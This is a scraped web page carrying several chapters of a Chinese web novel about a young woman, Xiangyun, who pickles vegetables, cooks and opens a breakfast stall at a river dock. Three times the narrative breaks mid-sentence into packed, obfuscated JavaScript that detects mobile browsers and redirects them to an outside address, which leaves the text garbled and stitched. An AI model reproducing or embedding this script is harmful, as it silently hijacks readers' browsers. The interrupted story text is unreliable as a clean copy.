直到天透黑，才忙完了。 她捶了捶发酸的腰背，提着桶进了院儿。 东西就先放在院外吹吹，等临睡前再搬进来。 端着油灯进了厨房，香云先点燃小炉子开始烧热水。 拿了两个杂粮馒头，还有中午剩下的红烧冬瓜，放在蒸笼上热好后，香云便大口吃了起来。 也许是因为今天干了力气活，香云吃了两个杂粮馒头后还尤觉不够。 剩下的杂粮馒头，她还想留着明儿做早饭，所以便舍不得再吃。 不如来个大大的烤地瓜？ 想到这里，香云不禁觉得有些馋了，鱼肉吃不起，辛苦一天了烤地瓜总得犒劳犒劳自己！ 说干就干，她忙去挑了个大地瓜出来，洗干净表面泥巴，就往火塘里一扔。 现在就只要静静等着就行了，趁这功夫，香云就去翻看了一下那些腌着的瓜菜。 瞥见厨房角落里放着的坛坛罐罐，她突然就想到了周文晏。 不当家不知柴米贵啊，要不是他留下了这些东西，若是现去杂货铺子买，又是一笔花销。 更别提没有花上一文钱就得到的担保文书了，愣是给她省了好几两银子。 坐在火塘前的香云瞬间忙跳起来去挑了两个大地瓜洗净了丢进火塘中慢慢煨着。 她在心里暗暗下了个决定，以后自己但凡吃些好的，都得给周秀才送一份过去。 等待的时间依旧是打络子，约摸大半个时辰过去，香云先从火塘掏了个地瓜出来。 对着烤得黢黑的地瓜一阵猛扇风后，香云揭开了地瓜发硬的外皮。 一下子就露出了里头金黄似流蜜的地瓜芯，用木勺挖上一大勺，热乎乎地送进嘴里。 软糯香甜，滋味甚好！ 香云吃了一大口后，便丢开了手，又用火钳将另外两个烤地瓜掏出来，放进木盆里。 趁着热气，一路出去，扣响周家院门后，放下东西就回去了！ 周文晏听到扣门声来开门，映入眼帘的就是那两个散发着诱人香气的烤地瓜！ 面对的依旧是女子离开的身影，他默契地一声不吭端了东西进屋，坐在书房心满意足地将烤地瓜吃了个精光。 15. 晒瓜菜、杂鱼饼子 送完东西回屋的香云也是如此，虽然烤地瓜是那样的不值一提。 可对于此刻的她来说，却如同人世间最美味的佳肴一般。 吃饱喝足后，香云依旧是丝毫不得闲，手里的那批络子卖完了，得要快快再做一些。 但凡能寻到一点的空闲时间，她的手上都不会闲着，准备再攒一批络子去绣铺卖。 忙碌的时间总是那样的飞快，香云手指翻飞地打完这里这条络子后，抬头往外一看，已经是月挂正中，半夜时分了。 她将打好的络子仔细收在箩筐里，便起身去院外搬东西了。 她自打在厨房里做活后，也练了一手好力气，两张桌子和几条长凳和炉子很快便被搬进了院中。 炉子上一直封着火，壶里的热水便是常有的。 香云洗漱后又去打了点热水泡脚去去乏，很快便困意袭来。 她也顾不得许多了，洗脚水丢在一旁，擦了脚脱衣就上床睡下了。 一觉到天亮，醒来时外头天还黑着，可香云却无心再睡了。 起来后洗漱干净，将昨儿剩下的杂粮馒头热了吃完，这时候外头天气已经蒙蒙亮了。 香云也开始忙活上了，今儿要将昨日腌下的瓜菜都起出来晒太阳。 她先将买来的芦席铺在院中，便去厨房端腌瓜菜的盆儿。 这时候萝卜条、老黄瓜和青瓜经过一晚上的腌制，已经出了很多水。 上手将瓜菜水分拧干，然后整齐铺在芦席之上。 这个时候虽然日头还没上来，可早起有河风，很快瓜菜上的水分就会干了。 最近的天气不错，晒上几个大太阳，这小菜就能调味开吃了。 从前这院里光秃秃的，总觉得没啥人气，这会儿，铺着芦席晒着成片的瓜菜。 香云一下子就觉得这茅草屋也有了家的感觉，只觉心中十分满足安宁。 她满意地将院中景象看了几遍，然后便挎着篮子去绿柳街了。 她想去买些老豆腐，做一些乳腐备着，以后也是一道摊子上可以卖的小菜。 日子一天一天过着，这天气也渐渐开始冷了起来，这会早起的风已经隐隐有了深秋的味道。 香云裹紧身上的衣裳，很快便到了绿柳巷。 先找到了豆腐坊，已经有些早起的人家过来赶着买豆浆了。 香云闻着醇香扑鼻的豆浆吸了吸鼻子，想到身上日渐变少的家当，终究是将腹中馋虫忍了下去。 “待挣了银钱，早日将三亩良田置办好后，我以后要日日喝豆浆！”香云在心中暗暗说道。 “姑娘，打豆浆还是买豆腐啊！”店家询问声传来。 香云回过神来，“买上几块老豆腐。” 店家随即便挑了两块老豆腐递了过来，“我这豆腐块大，两大块只要三文！” 香云看了后点头，眼前的豆腐块头是挺大的，做乳腐耗时长，所以一次就得多买些。 “店家，两块少了些，一起来十文的吧！”香云又道。 店家爽朗应下，又给切了四块半豆腐，香云接了放进垫了干净布的篮子里。 离了豆腐坊，香云便挎着篮子回去了。 一路上，经过肉铺时，香云瞥见那红白相间五花肉，咽了咽口水就飞快逃离了这里。 以前在薛家，她虽是个上不了台面的丫头，可因为在厨房做事，时常还是能捞到荤腥吃的。 后来，她进了老太太院里后，就更不缺口吃的了，自己管着小厨房，时常会剩些吃喝的，吃喝上也没苦过自己。 来了新春县的这几日，几乎是日日清汤寡水，以前看不上眼的大肥肉，现在也变得可亲可爱了起来！ 奈何身上实在捉襟见肘，只得是望肥肉兴叹了啊！ 香云为了不受诱惑，低头只顾赶路，高低不往巷子两边的铺子前瞧上一眼。 好容易出了绿柳巷，可是在巷口大柳树下，却被硬生生叫住了。 香云抬头一看，却见是那天卖鱼的老丈。 “我这鱼篓里还剩了一点小杂鱼，便宜卖了就回家，姑娘要不要看看？” 香云本想当做听不见，因为她怕自己会忍不住花钱。 可那老丈径直走到了香云跟前儿，笑道：“姑娘瞧瞧，这鱼虽小，是难处理，可味道却是极鲜的，这里头还有些小河虾，炖上一锅，就是一道菜嘞！” 香云被他说的实在眼馋，往鱼篓里一看，果真如此。 虽都是些小杂鱼，可都活蹦乱跳的，现炖了滋味儿一绝！ 老丈见状，趁热打铁，“两文钱，姑娘全都带回家，以后有好鱼，我还便宜给姑娘！” 只要两文，不过辛苦一碗打半根络子就有了，香云这时一点也不想犹豫了。 豪气地从荷包里掏出三文钱，香云喜滋滋地将那些鱼全都带回了家。 刚才回家的路上她就想好了，这中午简单混上一顿，晚上她要美美吃上一顿杂鱼贴饼子！ 到家之后，香云一刻也不得歇着。 先将老豆腐切成小方块，整齐地码在蒸笼里，锅里加凉水，边烧锅边蒸，蒸笼热气上来后蒸上一会儿就行。 将蒸笼端出来打开笼盖将豆腐晾凉，寻一个干净的容器，将蒸过的豆腐都放进去。 厨房经常烧锅，有热气，所以豆腐就放在厨房，约摸过个几日的功夫，这乳腐就会初成型了。 忙完这些，眼看着日头上来了，香云又去将晒在院中的瓜菜都翻了一遍，得要两面都晒到太阳才行。 趁着这两日，她想要将瓜菜都晒干，做成小菜。 她虽卖的只是寻常的馒头和粥，可却想用这小菜留住码头上的那些食客。 馒头和粥是寡淡无味的，可有了这些小菜就不一样了。 是以，这两日，香云准备在家多打些络子，待小菜做好后，再去码头摆摊卖吃食。 心中有了计较，香云便安心坐在院中打起了络子。 她打的络子一条花头不算复杂能卖十文，去掉自家买的丝线，一条络子能赚个六文左右。 这样的络子，她一天若是什么都不干，能打个七八条左右。 一天也能挣个四五十文，但是这钱挣得不容易，几乎是一天都没个停歇。 长时间低头打络子，脖颈和腰背都酸得厉害，晚上还得费灯油，对眼睛也不好。 打的络子卖到绣庄要被他们先赚去一层利，比不得卖吃食直接卖给食客没有中间人。 这也是香云没有选择一门心思打络子而是去摆摊卖吃食的原因。 香云想着这些事，手上却不停着，到中午的时候，煮了点杂粮粥混了个午饭。 吃完后，依旧是继续打络子，下午又翻了两遍晒着的瓜菜。 待日落后，那些瓜菜已经晒得有些干瘪了，将它们都收回家放着，明天继续晒。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432083|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 转过身来，香云就开始准备今日的晚饭了。 忙活了一整天，肚子早就咕咕叫了，香云处理起那些杂鱼也是浑身带劲儿。 手里拿着刀，先将鱼鳞通通划掉，再一条条将小鱼破肚，取出苦鱼胆扔了，再挖鱼鳃，一气呵成。 处理这些小杂鱼对香云来说，丝毫不费事。 那些小河虾不用处理，只需洗干净就行。 虽然这些杂鱼炖鱼汤也很鲜美，可今儿她想吃些味重的，嘴里实在太寡淡了。 沥干鱼虾水分，起锅烧油，香云今儿奢侈地多挑了一点猪油。 油热后放入葱姜蒜，炒出香味后放入鱼虾，小虾进锅被一烫就成了微红色，看着好不喜人。 将鱼虾在锅里略煎了一会儿，放入少许酱油，来上几粒茱萸和花椒，舀上一勺水。 因为鱼虾有点少，香云还特地寻了一根萝卜切块放进鱼锅一起炖着。 很快锅就烧开了，转成小火慢慢炖着。 趁着这功夫，香云又去端出早就准备好的杂粮面团来。 贴锅的面团扯出剂子搓圆后是要加水浸泡醒发的，这时候时间把握得刚刚好。 洗干净手后，香云拿出一个面剂子来，一压一拉，就出来了一个长面饼状。 因为面团加了水，所以面十分柔软，做起饼来也就很快了。 打开冒着热气的锅盖，将圆饼往锅边一贴。 一个，两个，三个……很快，圆饼就沿着锅边贴了一圈。 香云闻着锅里透鲜的鱼香和萝卜味儿，深深吸了一口气，又将锅盖盖上。 她又下去填了半根柴火，现在只需慢慢等着就行了。 约摸一炷香的时间，香云便起身，揭开锅盖一看，锅边贴着的饼子，都已经边缘焦黄。 有好几张饼子因为熟了直接脱落在了锅中的鱼和萝卜汤边上，早就吸满了汤汁。 香云笑盈盈地将饼子都拣了放在盆里，鱼锅里撒上些盐巴和葱花翻了两下就出锅了。 她将鱼虾和萝卜盛了两碗出来，依旧是一碗送给周秀才。 又拿了四张饼，香云提着篮子，便将东西送到了周家门口。 扣门后她就加快脚步往家去了，鱼和饼子都得趁热吃才行啊！ 透鲜的鱼虾，麻辣鲜香，鱼肉嫩滑，透烂的萝卜也有了鱼的香气，十分入味。 香云用饼子蘸了蘸鱼汤，咬上一大口，面饼劲道有味，一口气吃了两张饼子。 真爽快啊！香云吃完后也不着急收拾碗筷，进了卧房就躺在床上。 一个人自由自在，累了就躺，吃饱了也可以躺着，此刻她万分庆幸自己一个人来到了这里。 辛苦点又如何？ 现在所有的快活和舒适是真真切切的，那么所有的辛苦就是不值一提的！ 而此刻隔壁周文晏也在鼓着腮帮子大口啃饼吃鱼，只是他心里很是过意不去。 “宋姑娘做的吃食味儿真好啊！”他在心里赞不绝口。 可是已经吃了好几次白食了，就算是感谢，也没个一直感谢的道理。 可周文晏实在舍不得这样的好吃食，所以他吃完后去厨房寻摸了一圈。 找了两个布袋，装了些白面和杂粮面备着，准备等夜深了送到香云的院门口。 他想着，这样的话，也不算白吃了，心里隐隐期待，日后能偶尔打打牙祭，改善改善伙食也是好的。 16. 腌菜好滋味儿 且说香云吃饱后躺床上美美睡了一会儿，再醒来时见外头天已经黑透了。 她忙起身将碗筷桌面都收拾干净，忽地很想出去走走，心动就行动。 也不去别的地儿，自家门前河边就是个好去处，推开院门，几个大跨步，就到了。 她很庆幸，选择住在了这里，因为靠河边，又是最东头，是以平时都不大有人过来，这对香云来说正好合心意。 寻了块临水干净地方坐了，听着河水轻荡的声音，感受着那微微发凉的河风，她暗暗憧憬着往后的日子。 一定要早早置办好三亩良田，待一年后在新春落下户籍，往后的日子就越发好过了！ 想到这里，她不禁仰头去看天上的月亮，果真又大又圆，看得人心头暖暖的。 又静静坐了会儿，夜晚的河风越发凉了起来，香云便起身回家去了。 回了屋里，因为晚上吃完饭睡了好一会，一时半会的倒没了困意，闲着也是闲着，香云便又开始打起了络子。 她将油灯端到跟前，又添上了些灯油，便继续打起了下午没打完的络子。 这手里打着络子，她心里也没闲着…… 眼看着这天气一天比一天冷了起来，在天冷之前，必得给自己提前做上两身夹袄才好。 以后在码头上摆摊子卖吃食，早出晚归就是常事了，码头上风又大，可得提前准备好御寒的衣裳。 要是受了风寒实在不划算的很，不仅耽搁了做买卖的时间，而且看病吃药又是一大笔花销。 这边心里琢磨着，买布买棉花做袄子又是一笔花销，她手上打络子就越发快了起来。 “明儿还是花心思打几条别致复杂的络子出来才好，这样才能要得上好价儿！”她暗暗想着。 中途又添了两次灯油，她一直坐到半夜，又打了两根络子才上床歇了。 次日依旧是老时间就醒来，起来洗漱完之后，她煮了一锅地瓜粥在锅里熬着，就去干活了。 先去看了看昨儿放在那儿的豆腐，还是昨儿的样子，变化不大，将盖子盖上，继续慢慢等着就是了。 转身又去将昨儿晒了一天的萝卜条都铺在芦席上晒，再晒两个太阳也就差不多了。 老黄瓜和青瓜，香云则是准备用烫卤的法子，这样做出来会更脆爽好吃。 要烫卤，就得要有卤水，而这卤水则是那晚腌制老黄瓜和青瓜的盐水。 将盐水用大火煮开，直接倒进老黄瓜和青瓜盆里。 再用长筷子将每一块老黄瓜和青瓜都按在煮开的卤水里过上一遍。 这样，第一遍烫卤就算成了，明儿早起还得烫第二次卤。 烫完卤后，将老黄瓜和青瓜都捞出来，依旧是铺在芦席上晾晒。 这烫卤的盐水依旧是留着，盖好盖子不让脏东西进去，明儿早起烫卤依旧是用这盐水。 把所有的瓜菜都铺在院中后，香云就闻到了厨房里正熬着的地瓜杂粮粥传来的香甜味道。 现如今，手上银钱不多，地瓜这些对于香云来说，是美味又饱腹的好吃食。 眼看着前两日买回来的地瓜几乎没了，香云麻溜吃完早饭后便又挎着篮子出门了。 只是，刚打开院门，就见到地上除了昨儿送出去的篮子和里面的碗之外，还有两袋子分量不少的白面和杂粮面。 除了周秀才，再没有别人了，香云一手提了篮子，一面有些无奈地将两袋面粉一起送进厨房。 果然是读书人，做事就是讲究。 面既是已经送来了，自己若再送回去，一来一去的反倒不美，倒不如大方收下，心里有数就行。 东西放好，锁好门便出去，当然还是去绿柳巷大柳树下，今儿除了买地瓜，若是有老南瓜也要买上一些。 今儿早起，虽看天气应是个大晴天，但是这晨风吹在身上，明显觉得比前两日凉了不少。 要是再下上几场秋雨，这天气只会越发凉了，待进冬日后，这地里的菜蔬也就没多少了。 香云边想边加快了步伐，她思量着，冬日里的菜蔬价高，趁着现如今村里人地里的菜大丰收，还是应该多备着些。 正所谓好天防着阴天，准备充足些，等过冬的时候，手里有粮有菜，自然也就不慌乱了。 很快便到了绿柳巷前，香云一眼就看到了那日卖瓜菜的老夫妇，今儿摊前依旧是摆了很多菜蔬。 香云知道老俩口忠厚老实，是以还是选择他们，蹲在摊前跟老俩口边闲聊，边挑了不少菜蔬。 茄子、豆角、地瓜、老南瓜、冬瓜……，见样都买了些。 香云选的这些，都是可以做成干菜的，等院里的那些晒干了之后，她就腾出手来晒干菜了。 这次买的菜蔬比上次还多，那老丈见香云女子力气小，便主动跟着香云送了菜蔬到院门口就离开了。 把菜蔬都搬进堂屋放在角落里，厨房里经常烧锅，会比堂屋热，所以不宜放菜蔬。 忙得是气喘吁吁，坐定后喝了碗茶，香云便从卧房中拿了针线筐子，搬了凳子坐在院中。 昨天一整天她打了七条样式不算难的，卖了应该能赚个四十来文。 今天和明天两天时间，香云想好了，用心打几条复杂的出来，到时候一起去卖。 她在心里确定好要打络子的样式，又将丝线都拿出来放在日头底下，想着该配什么颜色。 络子想要别致好看，除了手艺好，色彩搭配也是一件极要紧之事，颜色搭配相宜，能给好手艺增色不少。 丝线全靠打络子的人来配，可是相同样式的络子不同的人打出来的络子却是意蕴大不相同。 香云这些年，跟在萍儿和琴儿两个姐姐身后虽说绣活只学了个皮毛，可在配色上却获益良多。 是以，她打出来的络子哪怕就是样式再简单不过，却依旧是一见了叫人就欢喜。 选定好不同颜色的丝线，香云便开始忙活了起来。 累了就起来在院中散散，活动活动筋骨，接着又继续干。 院中晒着的瓜菜也得适时翻动翻动，很快两日的时间就过去了。 辛苦两日，香云又打出了五条样式复杂精巧的络子，她估摸着应该能卖个好价儿。 待再攒上些，她就预备去绣铺再出一次货，到时候就有银钱置办冬衣了。 只是，打络子特别耗精神，这几日她都不想再动手了，待缓缓后再说。 明儿就是码头摊子赁期的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432084|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一天了，所以香云今儿还有很多事要做。 明儿早起运送家伙什去的驴车，她已经寻好了，是一家粮油铺子的老丈。 因为铺子要去码头接货，去的时候是空着车子的，所以答应三文钱顺带了香云和家伙什过去。 这运送东西的事儿定了，香云就开始预备做小菜了。 先将老黄瓜切成细长条状，再把晒干的萝卜条和切好的老黄瓜条放进两个盆里，倒入烧好的热水。 泡一会儿拧干水分，放在通风口晾干，趁这个空，香云就去准备调味的东西了。 她做的小菜之所以好吃，当然少不了香料。 今儿中午她还特地跑了一趟药铺，买了些小茴香、陈皮、砂仁、甘草等。 又转去杂货铺打了点素油、称了点芝麻和大酱。 她的小菜是要卖的，所以自然是要舍得下些本钱的。 将晾干水分的萝卜干和老黄瓜端进厨房，放入茱萸、花椒粒、各色香料和炒熟的芝麻。 小炉子生火，锅热后加入素油，将油烧得滚热即可。 将滚烫的热油一股脑都泼进放了萝卜干和老黄瓜的盆里，顷刻之间，就激发出了十分诱人的香气。 接着放入少许糖、再少来点酱油，搅拌均匀，这腌萝卜干和老黄瓜就做好了。 尝了尝，脆爽香辣，十分开胃，萝卜条肉厚吃了咯嘣脆，老黄瓜则是嫩脆，两者口感完全不同。 今年就算了，等以后遇上那老丈，让他多留些河虾给自己，晒干后压成虾粉，再加到小菜里头，滋味儿还要好。 将拌好的萝卜干和老黄瓜都用小瓮装好，香云接着又去做青瓜。 青瓜小菜不同于前两样，开水烫好挤干水分后，切成指甲盖大小的块状放着备用。 锅里添柴火，将锅烧热后加油，待油热后放入切好的青瓜块儿快速翻炒，接下来就调味了。 依次加入适量大酱、酱油、茱萸、花椒、糖还有各色香料和少许水，搅拌均匀，待锅里汤汁浓郁后就起锅。 这种叫做腌瓜子，比之刚才的腌萝卜和老黄瓜，要更入味，尝上一口，鲜香味美。 不管是吃粥亦或是吃面点还是饭食，都十分相配。 只是，香云唯一不满意的是，这大酱不是自己下的，滋味到底还是差了些。 待到天冷后，她一定得自己下一缸大酱备着，用来做各色好吃食。 将腌瓜子也做好了，香云便开始准备自己的晚餐了，明儿得早起去摆摊，所以今晚就煮了一大锅老南瓜。 配着自己腌的小菜，香云足足吃了两大碗炖南瓜，南瓜粉糯，再来上些开胃小菜，着实好吃。 吃完收拾好厨房，香云便将明日要做馒头的面都和了放在厨房醒发，明儿一早起来能省上不少事儿。 洗漱后上床歇着，再醒来外头天还黑着，香云利落爬了起来。 先去厨房看了看，做馒头的面都发的很好，自己简单做了点吃的垫了垫肚子，又将要带的东西都检查了一遍。 不一会儿，就听见门外赶车老丈的声音，香云忙去开门，跟老丈一起将家伙什都搬上了驴车。 锁好院门，爬上驴车，在透着黑的早晨，一路向码头而去。 17. 开门红 因为起的早，路上几乎没人，所以老丈赶驴车速度也快了很多。 一炷香时间都没到，他们赶着车就到了码头。 此时的码头已经隐隐有些人了，香云便让老丈将驴车赶到了自己的摊位前。 二人合力把家伙什都卸了下来，送别老丈后，香云就马不停蹄忙活上了。 先撑起大油布伞，再把两张桌子和长条凳都摆放整齐。 香云看了看，有些像模像样了，满意地点了点头，就赶着去生火点炉子了。 家里厨房有一张旧方桌，她也洗净带了过来，正好用来做案板，放各色调味物品。 这边炉子上的火生好支上锅，香云先将洗净的杂粮米加水开始炖煮慢熬。 醒发一晚的面团早就圆滚滚的了，轻轻揭开面皮一看，里面都状如蜂窝，醒发成这样的面团蒸出来才暄软。 从盆里拿出面团，放在撒了面的桌子上，开始揉面搓馒头，不一会儿，一蒸笼杂面馒头就做好了。 先放在一旁醒着，接着便开始做白面馒头。 一炷香不到的时间，两大笼的馒头一起上锅开蒸。 随着东方鱼肚白露出，不止香云一家，码头上别的摊子也都热火朝天地忙碌了起来。 早起的码头上下货物，人来人往的，好不热闹。 随着馒头蒸好散发出来阵阵香气，不一会儿，香云摊子前就来了三个壮汉。 “店家，你这摊子看着眼生，都卖些什么好吃食？”只见其中一人问道。 香云擦了把手笑道：“我这摊子就卖些馒头和杂粮粥，还有一些我自家做的小菜。” 说话间，她就转身端了笼屉，打开笼盖，只见一阵热腾腾的白气升起。 里头馒头个个圆乎乎、胖滚滚的，属于粮食本身自带的香气让人闻了食欲大开。 “看着不错，要不咱们就在这吃吧？店家的摊子也拾掇得干净清爽。”其中一人边说边走到桌前坐下。 “那就在这吃吧！”不一会儿，其他两人也一起围坐在了桌前。 “好叫客官知道，小摊儿有杂粮和白面馒头两种，杂粮的一文两个，白面的一文一个，杂粮粥一文一大海碗。 今儿几位客官是头一批客人，每人再送一小碟自家做的腌菜！” 那几个人听说还有小菜可送，俱是高兴地直咧嘴，“每人来两个杂粮馒头，再来碗粥！” “好嘞，客官稍候！马上就来！” 香云应了一声就利索地拿碗去盛粥，又去蒸笼里拣馒头，先送了一波去给客人吃。 转身又去瓮里挖了几碟小菜出来，端着送到了桌前。 “几位客官不妨尝尝，这是我自家做的小菜，滋味儿还算能入口。” 三人正大口啃着馒头喝着粥，馒头暄软还劲道，分量又足，不像有的摊子偷工减料的。 这杂粮粥熬得也很稠乎，大早上的来上一碗，心里舒坦了不少。 眼看着香云端了三碟子不同的小菜上桌，有干拌的，还有带汤的，小菜都是常吃的，起初几人也没当回事。 可尝了一口后，俱是眼前一亮，这三碟子小菜，鲜脆香辣，还各有各的滋味，委实不赖呢！ 有了这小菜，原本吃在嘴里没啥味的馒头和粥，立刻也变得有滋有味了起来。 三人都就着小菜大口啃着馒头、仰头喝粥，一顿风卷残云。 “店家，你这小菜做的这般好味儿，不知怎么卖的？”其中一人吃完后问道。 “两文一碗，不管佐粥还是就饭都合适。”香云笑道。 男子听后点头，家里做的小菜就只有咸味，刚才的小菜做得这般好吃，定是下了功夫的，卖这个价儿也不贵。 “待会，下了货后，我们来买一碗带回家去，不知店家这里的碗可放心让我们带回去？”一人又笑问道。 香云今儿送小菜就是想要吸引食客来买的，所以早就备好了不少小木碗，就算有人不还，也不值当什么。 于是笑回道：“各位大哥都是顶天立地的好男儿，我自是信得过的！” 三人一听，哪还有何话说，乐呵呵地个个都说待会都来买小菜。 有了这第一波客人，后面就陆续开始上人了，今天上午，但凡来吃馒头和粥的，香云都送了小菜。 不知道是不是小菜的功劳，又或者是她的馒头做得好，蒸的六十个杂粮馒头和三十个白面馒头都卖了个精光。 不仅如此，到最后，因为熬的粥不够，来的食客就都索性要了一碗热水，就着小菜喝着热水啃起了馒头。 日头升起，辰时三刻不到（八点不到），香云便开始收拾打扫摊位了。 中午的码头人不多，香云就不打算耗在这里了，是以这会子就准备回去了 ，待下午的时候再过来。 摊子支着，人若是不在，到底不放心，毕竟码头上人多眼杂的，摊子上的东西都是花银子买的。 所以她就收起大油布伞，把桌凳、炉子、锅碗、蒸笼都搬到了赁好的屋里，好在地方不算远，很快就搬了过去。 今儿带来的小菜送了一些，又有客人买了不少回去，所以没剩多少了，香云就将小瓮都带了回去，明儿早起再装些小菜来卖。 东西都收拾妥当，香云便回去了，摸了摸胸口揣着的今儿一早上赚的银钱，她低着头脚步飞快赶着路。 到家之后，先去厨房放好小瓮，她就迫不及待去了卧房，将胸口放着的荷包取了出来。 倒出里面的银钱，一文、两文、三文…… 香云一边数着，这脸上的笑意就越多，今儿开门红，真叫人高兴！ 一上午，她毛利带回家九十六文，之前她就估算过，除去本钱，一小半的利是有的。 这样看来的话，今儿早上，她应该能赚个四十文左右。 下午的时候，她还会去卖烙饼，等晚上回来的时候，再好好算算一日到底能挣个多少。 但今儿早上这买卖着实让她增长了不少信心，相信只要自己再辛苦些，置办三亩良田的愿望定是能实现的。 到时候，把田一买，户籍再落定了，这小日子可真就美滋滋过起来了呢！ 她小心翼翼将摊在床上的银钱一枚一枚都仔细收在了荷包里。 想到码头那边人来人往的，她想着还是得寻个地儿将银钱放在家里才稳妥。 在家里四周寻摸了一圈之后，便将主意打到了厨房，去了厨房后来来回回看了好几遍。 最后，用小铲子在厨房灶台角落挖了个坑，就在火塘那边放柴火的下边。 除了日常所需的银钱，其他的家当都被一股脑埋在了地下。 东西放好后香云又将挖开的土都仔细收拾平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432085|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整了，从外表看来，一点都不像刚才有人挖过一般。 收拾好了后再堆上柴火，任谁看了也不会怀疑这角落里竟是还藏了东西。 而且她来这住了好几日，也许是因为隔壁住着周秀才的原因，轻易不曾见有什么人过来。 况她这茅檐草舍的，看着就十分寒酸，小偷就算要偷东西，定也不会寻到她这儿来。 将这事忙完后，香云也片刻不得闲，挎了个篮子就又出门了。 下午，她还得做烙饼，昨儿已经跟卖菜的大娘说定了，让她带些自家的韭菜过来，这会子她就得去拿菜回来。 除了拿菜，香云还想再买些瓜菜腌成小菜备着，看今儿的行情，这腌菜就算不在码头卖，去长春街定也能卖个好价。 最近天公作美，若是不趁着好天气，等天冷了以后，就难得有现在的好太阳了。 一路很快便到了绿柳巷口，那老娘远远看见香云就招起了手。 以往香云都是很早就出来买菜，虽说昨儿二人已经说好，但看今日香云迟迟未来，老娘还以为不来了呢。 这会子看到人，可算是松了口气。 香云将她留给自己的韭菜都放进篮子里，剩下不少瓜菜也包圆了，依旧叮嘱她明儿还给自己留韭菜。 那老娘收了银钱，见自己剩下的菜也被一扫而空，高兴地合不拢嘴。 “姑娘放心，明儿拣最新鲜的还是给你留着。” 香云笑着跟她闲聊了几句，转头就去卖鱼的那里看看。 今儿那卖鱼的老丈没在，香云估摸着估计是鱼卖完了早早归家了，于是便另找了一人。 见那人的鱼篓里，有一条大草鱼，香云看着很是动心，可是卖鱼的老丈坚持要十五文一斤。 香云估摸着那草鱼应该有个五六斤，这一条就得七八十文，所以就有些拿不定主意。 思虑再三想着不如等下午的时候再来碰碰运气，看有没有卖得便宜些的，于是便提了菜篮回去了。 这刚走出去没多远，就见之前卖鱼的老丈背着鱼篓，低着头正往绿柳巷赶。 香云见他只顾赶路，忙叫住了他：“老丈，我说今儿没在那里瞧见您？是家里有事误了时辰了？” 那老丈抬头一看，见是香云，忙止住了脚步，笑道：“可不正是嘛！昨儿晚上家里来了亲戚，喝了不少老酒。 今儿起来就觉得头昏目眩的，这不，在家里偷懒睡了个懒觉，就耽搁到这会子才过来。” 说罢，他就打开鱼篓给香云瞧：“姑娘，看看我今儿的鱼，都是鲜活乱跳的。 姑娘若有看中的，我就便宜卖了，本就来迟了，若是再一条卖不出去，家里老婆子又要絮叨个没完了！” 香云本跟他打过几次交道，知道这老丈是个愿意讲价的，所以便站住了脚步，有心想看看他这鱼篓里有什么鱼。 于是凑近老丈的鱼篓低头一看，见有好几条鲜活大鲤鱼，还有些小河虾。 香云看了很是高兴，刚才草鱼没买成，这会子有大鲤鱼也是一样的。 老丈鲤鱼卖八文一斤，香云也没跟他再讨价还价，最后称了两条中等鲤鱼，共七斤多。 连带着老丈鱼篓里的小河虾，一起给了六十文。 想到晚上要拿鱼做的好吃食，香云就忍不住开始流口水了，一路提着鱼喜滋滋地回去了。 18.韭菜烙饼香喷喷 回到家之后，香云先寻了小桶将鱼虾养着，便去了堂屋端了凳子在院中坐了坐。 去码头摆摊卖早饭，就是得起得早，从外头还透黑到现在日上三竿，她就胡乱对付了一口，这会子肚子正饿得咕咕叫呢！ 好在她机灵，还特地给自己留了个大白面馒头带了回来。 于是忙起身去了厨房，先倒了碗热茶，又从小瓮里弄了点腌瓜子，手里拿着馒头，她就大口啃了起来。 坐在小院里，感受着徐徐的清风，太阳晒在身上也是暖洋洋的，香云啃完馒头后本想坐着歇歇。 可看着这大太阳，院中却空空如也的，觉得实在不应辜负这好春光，她便坐不住了。 把昨儿买的茄子、豆角、冬瓜还有今日买的瓜菜都拖到小河边清洗。 趁着这时间，她得把菜蔬都收拾出来晾晒。 茄子去蒂，对半切开，切半后再从中劈开，一个茄子切四长条就行。 豆角直接掐头去尾，冬瓜则去瓤后不去皮直接切出圆片。 因为没有长竹竿，所以香云就将这些菜蔬一股脑都铺在芦席上晒了，好在她中午的时候都在家，到时勤翻动翻动就行。 这边忙完，就又去将萝卜和老黄瓜还有青瓜切开腌制，放进盆里过夜，只等明儿大早起来拿出来晾晒就行。 一直忙到日头当定，中午简单吃点，把下午烙饼的面先和好，韭菜也洗干净放在有风的地方吹干水分。 趁着这档口，香云赶紧去卧房睡了一会，晚上她还得去码头卖吃食，若是中午不睡会，身体实在是吃不消。 早上起得早，后来又一直忙个不停，这一觉香云实在睡得舒服。 